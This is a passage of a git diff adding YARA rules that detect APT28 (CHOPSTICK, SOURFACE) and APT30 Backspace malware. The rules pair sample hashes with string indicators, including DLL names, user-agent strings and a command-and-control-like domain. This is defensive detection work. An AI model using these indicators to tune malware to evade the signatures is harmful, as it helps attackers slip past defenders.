+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT28_CHOPSTICK {
+	meta:
+		description = "Detects a malware that behaves like CHOPSTICK mentioned in APT28 report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/v3ebal"
+		date = "2015-06-02"
+		hash = "f4db2e0881f83f6a2387ecf446fcb4a4c9f99808"
+		score = 60
+	strings:
+		$s0 = "jhuhugit.tmp" fullword ascii /* score: '14.005' */
+		$s8 = "KERNEL32.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 14405 times */
+		$s9 = "IsDebuggerPresent" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3518 times */
+		$s10 = "IsProcessorFeaturePresent" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 1383 times */
+		$s11 = "TerminateProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 13081 times */
+		$s13 = "DeleteFileA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 1384 times */
+		$s15 = "GetProcessHeap" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 5875 times */
+		$s16 = "!This program cannot be run in DOS mode." fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 20908 times */
+		$s17 = "LoadLibraryA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 5461 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 722KB and all of them
+}
+
+rule APT28_SourFace_Malware1 {
+	meta:
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		author = "Florian Roth"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		date = "2015-06-01"
+		hash1 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
+		hash2 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
+		score = 60
+	strings:
+		$s0 = "coreshell.dll" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "Core Shell Runtime Service" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "\\chkdbg.log" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 62KB and all of them
+}
+
+rule APT28_SourFace_Malware2 {
+	meta:
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		author = "Florian Roth"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		date = "2015-06-01"
+		super_rule = 1
+		hash0 = "367d40465fd1633c435b966fa9b289188aa444bc"
+		hash1 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
+		hash2 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
+		hash3 = "682e49efa6d2549147a21993d64291bfa40d815a"
+		hash4 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
+		hash5 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
+		score = 60
+	strings:
+		$s0 = "coreshell.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Applicate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+rule APT28_SourFace_Malware3 {
+	meta:
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		author = "Florian Roth"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		date = "2015-06-01"
+		super_rule = 1
+		hash0 = "85522190958c82589fa290c0835805f3d9a2f8d6"
+		hash1 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
+		hash2 = "367d40465fd1633c435b966fa9b289188aa444bc"
+		hash3 = "d87b310aa81ae6254fff27b7d57f76035f544073"
+		hash4 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
+		hash5 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
+		hash6 = "682e49efa6d2549147a21993d64291bfa40d815a"
+		hash7 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
+		hash8 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
+		hash9 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
+		score = 60
+	strings:
+		$s0 = "coreshell.dll" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "Core Shell Runtime Service" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
diff --git a/yara-mikesxrs/Florian Roth/apt_apt30_backspace.yar b/yara-mikesxrs/Florian Roth/apt_apt30_backspace.yar
new file mode 100644
index 0000000..81acbd7
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_apt30_backspace.yar	
@@ -0,0 +1,1142 @@
+/*
+	Yara Rule to detect Backspace Malware mentioned in FireEye APT30 Report
+	https://www.fireeye.com/blog/threat-research/2015/04/apt_30_and_the_mecha.html
+
+	13.04.2015 
+	v1.0
+	please report back false positives via the 'issue' section of the LOKI github page
+*/
+
+rule APT30_Generic_H {
+	meta:
+		description = "FireEye APT30 Report Sample - file db3e5c2f2ce07c2d3fa38d6fc1ceb854"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "2a4c8752f3e7fde0139421b8d5713b29c720685d"
+		hash2 = "4350e906d590dca5fcc90ed3215467524e0a4e3d"
+	strings:
+		$s0 = "\\Temp1020.txt" fullword ascii
+		$s1 = "Xmd.Txe" fullword ascii
+		$s2 = "\\Internet Exp1orer" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_2 {
+	meta:
+		description = "FireEye APT30 Report Sample - file c4dec6d69d8035d481e4f2c86f580e81"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "0359ffbef6a752ee1a54447b26e272f4a5a35167"
+	strings:
+		$s0 = "ForZRLnkWordDlg.EXE" fullword wide
+		$s1 = "ForZRLnkWordDlg Microsoft " fullword wide
+		$s9 = "ForZRLnkWordDlg 1.0 " fullword wide
+		$s11 = "ForZRLnkWordDlg" fullword wide
+		$s12 = " (C) 2011" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_3 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 59e055cee87d8faf6f701293e5830b5a"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "d0320144e65c9af0052f8dee0419e8deed91b61b"
+	strings:
+		$s5 = "Software\\Mic" ascii
+		$s6 = "HHOSTR" ascii
+		$s9 = "ThEugh" fullword ascii
+		$s10 = "Moziea/" ascii
+		$s12 = "%s%s(X-" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_C {
+	meta:
+		description = "FireEye APT30 Report Sample - file 0c4fcef3b583d0ffffc2b14b9297d3a4"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "8667f635fe089c5e2c666b3fe22eaf3ff8590a69"
+		hash2 = "0c4fcef3b583d0ffffc2b14b9297d3a4"
+		hash3 = "37aee58655f5859e60ece6b249107b87"
+		hash4 = "4154548e1f8e9e7eb39d48a4cd75bcd1"
+		hash5 = "a2e0203e665976a13cdffb4416917250"
+		hash6 = "b4ae0004094b37a40978ef06f311a75e"
+		hash7 = "e39756bc99ee1b05e5ee92a1cdd5faf4"
+	strings:
+		$s0 = "MYUSER32.dll" fullword ascii
+		$s1 = "MYADVAPI32.dll" fullword ascii
+		$s2 = "MYWSOCK32.dll" fullword ascii
+		$s3 = "MYMSVCRT.dll" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_4 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 6ba315275561d99b1eb8fc614ff0b2b3"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "75367d8b506031df5923c2d8d7f1b9f643a123cd"
+	strings:
+		$s0 = "GetStartupIn" ascii
+		$s1 = "enMutex" ascii
+		$s2 = "tpsvimi" ascii
+		$s3 = "reateProcesy" ascii
+		$s5 = "FreeLibr1y*S" ascii
+		$s6 = "foAModuleHand" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_5 {
+	meta:
+		description = "FireEye APT30 Report Sample - file ebf42e8b532e2f3b19046b028b5dfb23"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "1a2dd2a0555dc746333e7c956c58f7c4cdbabd4b"
+	strings:
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
+		$s3 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
+		$s7 = "msmsgs" fullword wide
+		$s10 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_6 {
+	meta:
+		description = "FireEye APT30 Report Sample - file ee1b23c97f809151805792f8778ead74"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "00e69b059ad6b51b76bc476a115325449d10b4c0"
+	strings:
+		$s0 = "GreateProcessA" fullword ascii
+		$s1 = "Ternel32.dll" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_7 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 74b87086887e0c67ffb035069b195ac7"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "868d1f4c106a08bd2e5af4f23139f0e0cd798fba"
+	strings:
+		$s0 = "datain" fullword ascii
+		$s3 = "C:\\Prog" ascii
+		$s4 = "$LDDATA$" ascii
+		$s5 = "Maybe a Encrypted Flash" fullword ascii
+		$s6 = "Jean-loup Gailly" ascii
+		$s8 = "deflate 1.1.3 Copyright" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_E {
+	meta:
+		description = "FireEye APT30 Report Sample - file 8ff473bedbcc77df2c49a91167b1abeb"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "1dbb584e19499e26398fb0a7aa2a01b7"
+		hash2 = "572c9cd4388699347c0b2edb7c6f5e25"
+		hash3 = "8ff473bedbcc77df2c49a91167b1abeb"
+		hash4 = "a813eba27b2166620bd75029cc1f04b0"
+		hash5 = "b5546842e08950bc17a438d785b5a019"
+	strings:
+		$s0 = "Nkfvtyvn}" ascii
+		$s6 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_8 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 44b98f22155f420af4528d17bb4a5ec8"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "9531e21652143b8b129ab8c023dc05fef2a17cc3"
+	strings:
+		$s0 = "ateProcessA" ascii
+		$s1 = "Ternel32.dllFQ" fullword ascii
+		$s2 = "StartupInfoAModuleHand" fullword ascii
+		$s3 = "OpenMutex" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_B {
+	meta:
+		description = "FireEye APT30 Report Sample - file 29395c528693b69233c1c12bef8a64b3"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "0fcb4ffe2eb391421ec876286c9ddb6c"
+		hash2 = "29395c528693b69233c1c12bef8a64b3"
+		hash3 = "4c6b21e98ca03e0ef0910e07cef45dac"
+		hash4 = "550459b31d8dabaad1923565b7e50242"
+		hash5 = "65232a8d555d7c4f7bc0d7c5da08c593"
+		hash6 = "853a20f5fc6d16202828df132c41a061"
+		hash7 = "ed151602dea80f39173c2f7b1dd58e06"
+	strings:
+		$s2 = "Moziea/4.0" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_I {
+	meta:
+		description = "FireEye APT30 Report Sample - file fe211c7a081c1dac46e3935f7c614549"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "fe211c7a081c1dac46e3935f7c614549"
+		hash2 = "8c9db773d387bf9b3f2b6a532e4c937c"
+	strings:
+		$s0 = "Copyright 2012 Google Inc. All rights reserved." fullword wide
+		$s1 = "(Prxy%c-%s:%u)" fullword ascii
+		$s2 = "Google Inc." fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_9 {
+	meta:
+		description = "FireEye APT30 Report Sample - file e3ae3cbc024e39121c87d73e87bb2210"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "442bf8690401a2087a340ce4a48151c39101652f"
+	strings:
+		$s0 = "\\Windo" ascii
+		$s2 = "oHHOSTR" ascii
+		$s3 = "Softwa]\\Mic" ascii
+		$s4 = "Startup'T" ascii
+		$s6 = "Ora\\%^" ascii
+		$s7 = "\\Ohttp=r" ascii
+		$s17 = "help32Snapshot0L" ascii
+		$s18 = "TimUmoveH" ascii
+		$s20 = "WideChc[lobalAl" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Sample_10 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 8c713117af4ca6bbd69292a78069e75b"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "eb518cda3c4f4e6938aaaee07f1f7db8ee91c901"
+	strings:
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
+		$s2 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
+		$s3 = "!! Use Connect Method !!" fullword ascii
+		$s4 = "(Prxy%c-%s:%u)" fullword ascii
+		$s5 = "msmsgs" fullword wide
+		$s18 = "(Prxy-No)" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_11 {
+	meta:
+		description = "FireEye APT30 Report Sample - file d97aace631d6f089595f5ce177f54a39"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "59066d5d1ee3ad918111ed6fcaf8513537ff49a6"
+	strings:
+		$s0 = "System\\CurrentControlSet\\control\\ComputerName\\ComputerName" fullword ascii
+		$s1 = "msofscan.exe" fullword wide
+		$s2 = "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" fullword ascii
+		$s3 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
+		$s4 = "Windows XP Professional x64 Edition or Windows Server 2003" fullword ascii
+		$s9 = "NetEagle_Scout - " fullword ascii
+		$s10 = "Server 4.0, Enterprise Edition" fullword ascii
+		$s11 = "Windows 3.1(Win32s)" fullword ascii
+		$s12 = "%s%s%s %s" fullword ascii
+		$s13 = "Server 4.0" fullword ascii
+		$s15 = "Windows Millennium Edition" fullword ascii
+		$s16 = "msofscan" fullword wide
+		$s17 = "Eagle-Norton360-OfficeScan" fullword ascii
+		$s18 = "Workstation 4.0" fullword ascii
+		$s19 = "2003 Microsoft Office system" fullword wide
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_12 {
+	meta:
+		description = "FireEye APT30 Report Sample - file c95cd106c1fecbd500f4b97566d8dc96"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "b02b5720ff0f73f01eb2ba029a58b645c987c4bc"
+	strings:
+		$s0 = "Richic" fullword ascii
+		$s1 = "Accept: image/gif, */*" fullword ascii
+		$s2 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_13 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 95bb314fe8fdbe4df31a6d23b0d378bc"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "a359f705a833c4a4254443b87645fd579aa94bcf"
+	strings:
+		$s0 = "msofscan.exe" fullword wide
+		$s1 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
+		$s2 = "Microsoft Office Word Plugin Scan" fullword wide
+		$s3 = "? 2006 Microsoft Corporation.  All rights reserved." fullword wide
+		$s4 = "msofscan" fullword wide
+		$s6 = "2003 Microsoft Office system" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_14 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 6f931c15789d234881be8ae8ccfe33f4"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "b0740175d20eab79a5d62cdbe0ee1a89212a8472"
+	strings:
+		$s0 = "AdobeReader.exe" fullword wide
+		$s1 = "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy" fullword ascii
+		$s4 = "10.1.7.27" fullword wide
+		$s5 = "Copyright 1984-2012 Adobe Systems Incorporated and its licensors. All ri" wide
+		$s8 = "Adobe Reader" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_15 {
+	meta:
+		description = "FireEye APT30 Report Sample - file e26a2afaaddfb09d9ede505c6f1cc4e3"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "7a8576804a2bbe4e5d05d1718f90b6a4332df027"
+	strings:
+		$s0 = "\\Windo" ascii
+		$s2 = "HHOSTR"  ascii
+		$s3 = "Softwa]\\Mic" ascii
+		$s4 = "Startup'T" fullword ascii
+		$s17 = "help32Snapshot0L" fullword ascii
+		$s18 = "TimUmoveH" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_16 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 37e568bed4ae057e548439dc811b4d3a"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "066d06ac08b48d3382d46bbeda6ad411b6d6130e"
+	strings:
+		$s0 = "\\Temp1020.txt" fullword ascii
+		$s1 = "cmcbqyjs" fullword ascii
+		$s2 = "SPVSWh\\" fullword ascii
+		$s4 = "PSShxw@" fullword ascii
+		$s5 = "VWhHw@" fullword ascii
+		$s7 = "SVWhHw@" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_A {
+	meta:
+		description = "FireEye APT30 Report Sample - file af1c1c5d8031c4942630b6a10270d8f4"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "9f49aa1090fa478b9857e15695be4a89f8f3e594"
+		hash2 = "396116cfb51cee090822913942f6ccf81856c2fb"
+		hash3 = "fef9c3b4b35c226501f7d60816bb00331a904d5b"
+		hash4 = "7c9a13f1fdd6452fb6d62067f958bfc5fec1d24e"
+		hash5 = "5257ba027abe3a2cf397bfcae87b13ab9c1e9019"
+	strings:
+		$s5 = "WPVWhhiA" fullword ascii
+		$s6 = "VPWVhhiA" fullword ascii
+		$s11 = "VPhhiA" fullword ascii
+		$s12 = "uUhXiA" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_17 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 23813c5bf6a7af322b40bd2fd94bd42e"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "c3aa52ff1d19e8fc6704777caf7c5bd120056845"
+	strings:
+		$s1 = "Nkfvtyvn}]ty}ztU" fullword ascii
+		$s4 = "IEXPL0RE" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Sample_18 {
+	meta:
+		description = "FireEye APT30 Report Sample - file b2138a57f723326eda5a26d2dec56851"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "355436a16d7a2eba8a284b63bb252a8bb1644751"
+	strings:
+		$s0 = "w.km-nyc.com" fullword ascii
+		$s1 = "tscv.exe" fullword ascii
+		$s2 = "Exit/app.htm" ascii
+		$s3 = "UBD:\\D" ascii
+		$s4 = "LastError" ascii
+		$s5 = "MicrosoftHaveAck" ascii
+		$s7 = "HHOSTR" ascii
+		$s20 = "XPL0RE." ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_G {
+	meta:
+		description = "FireEye APT30 Report Sample - file 53f1358cbc298da96ec56e9a08851b4b"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "1612b392d6145bfb0c43f8a48d78c75f"
+		hash = "53f1358cbc298da96ec56e9a08851b4b"
+		hash = "c2acc9fc9b0f050ec2103d3ba9cb11c0"
+		hash = "f18be055fae2490221c926e2ad55ab11"
+	strings:
+		$s0 = "%s\\%s\\%s=%s" fullword ascii
+		$s1 = "Copy File %s OK!" fullword ascii
+		$s2 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
+		$s4 = "open=%s" fullword ascii
+		$s5 = "Maybe a Encrypted Flash Disk" fullword ascii
+		$s12 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_19 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 5d4f2871fd1818527ebd65b0ff930a77"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "cfa438449715b61bffa20130df8af778ef011e15"
+	strings:
+		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
+		$s1 = "%s,Volume:%s,Type:%s,TotalSize:%uMB,FreeSize:%uMB" fullword ascii
+		$s2 = "\\TEMP\\" fullword ascii
+		$s3 = "\\Temporary Internet Files\\" fullword ascii
+		$s5 = "%s TotalSize:%u Bytes" fullword ascii
+		$s6 = "This Disk Maybe a Encrypted Flash Disk!" fullword ascii
+		$s7 = "User:%-32s" fullword ascii
+		$s8 = "\\Desktop\\" fullword ascii
+		$s9 = "%s.%u_%u" fullword ascii
+		$s10 = "Nick:%-32s" fullword ascii
+		$s11 = "E-mail:%-32s" fullword ascii
+		$s13 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
+		$s14 = "Type:%-8s" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and 8 of them
+}
+
+rule APT30_Generic_E_v2 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 71f25831681c19ea17b2f2a84a41bbfb"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "eca53a9f6251ddf438508b28d8a483f91b99a3fd"
+	strings:
+		$s0 = "Nkfvtyvn}duf_Z}{Ys" fullword ascii
+		$s1 = "Nkfvtyvn}*Zrswru1i" fullword ascii
+		$s2 = "Nkfvtyvn}duf_Z}{V" fullword ascii
+		$s3 = "Nkfvtyvn}*ZrswrumT\\b" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_20 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 5ae51243647b7d03a5cb20dccbc0d561"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "b1c37632e604a5d1f430c9351f87eb9e8ea911c0"
+	strings:
+		$s0 = "dizhi.gif" fullword ascii
+		$s2 = "Mozilla/u" ascii
+		$s3 = "XicrosoftHaveAck" ascii
+		$s4 = "flyeagles" ascii
+		$s10 = "iexplore." ascii
+		$s13 = "WindowsGV" fullword ascii
+		$s16 = "CatePipe" fullword ascii
+		$s17 = "'QWERTY:/webpage3" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_21 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 78c4fcee5b7fdbabf3b9941225d95166"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "d315daa61126616a79a8582145777d8a1565c615"
+	strings:
+		$s0 = "Service.dll" fullword ascii
+		$s1 = "(%s:%s %s)" fullword ascii
+		$s2 = "%s \"%s\",%s %s" fullword ascii
+		$s5 = "Proxy-%s:%u" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_22 {
+	meta:
+		description = "FireEye APT30 Report Sample - file fad06d7b4450c4631302264486611ec3"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "0d17a58c24753e5f8fd5276f62c8c7394d8e1481"
+	strings:
+		$s1 = "(\\TEMP" fullword ascii
+		$s2 = "Windows\\Cur" fullword ascii
+		$s3 = "LSSAS.exeJ" fullword ascii
+		$s4 = "QC:\\WINDOWS" fullword ascii
+		$s5 = "System Volume" fullword ascii
+		$s8 = "PROGRAM FILE" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_F {
+	meta:
+		description = "FireEye APT30 Report Sample - file 4c10a1efed25b828e4785d9526507fbc"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "09010917cd00dc8ddd21aeb066877aa2"
+		hash2 = "4c10a1efed25b828e4785d9526507fbc"
+		hash3 = "b7b282c9e3eca888cbdb5a856e07e8bd"
+		hash4 = "df1799845b51300b03072c6569ab96d5"
+	strings:
+		$s0 = "\\~zlzl.exe" fullword ascii
+		$s2 = "\\Internet Exp1orer" fullword ascii
+		$s3 = "NodAndKabIsExcellent" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_23 {
+	meta:
+		description = "FireEye APT30 Report Sample - file a5ca2c5b4d8c0c1bc93570ed13dcab1a"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "9865e24aadb4480bd3c182e50e0e53316546fc01"
+	strings:
+		$s0 = "hostid" ascii
+		$s1 = "\\Window" ascii
+		$s2 = "%u:%u%s" fullword ascii
+		$s5 = "S2tware\\Mic" ascii
+		$s6 = "la/4.0 (compa" ascii
+		$s7 = "NameACKernel" fullword ascii
+		$s12 = "ToWideChc[lo" fullword ascii
+		$s14 = "help32SnapshotfL" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_24 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 062fe1336459a851bd0ea271bb2afe35"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "572caa09f2b600daa941c60db1fc410bef8d1771"
+	strings:
+		$s1 = "dizhi.gif" fullword ascii
+		$s3 = "Mozilla/4.0" fullword ascii
+		$s4 = "lyeagles" fullword ascii
+		$s6 = "HHOSTR" ascii
+		$s7 = "#MicrosoftHaveAck7" ascii
+		$s8 = "iexplore." fullword ascii
+		$s17 = "ModuleH" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_25 {
+	meta:
+		description = "FireEye APT30 Report Sample - file c4c068200ad8033a0f0cf28507b51842"
+		author = "Florian Roth"
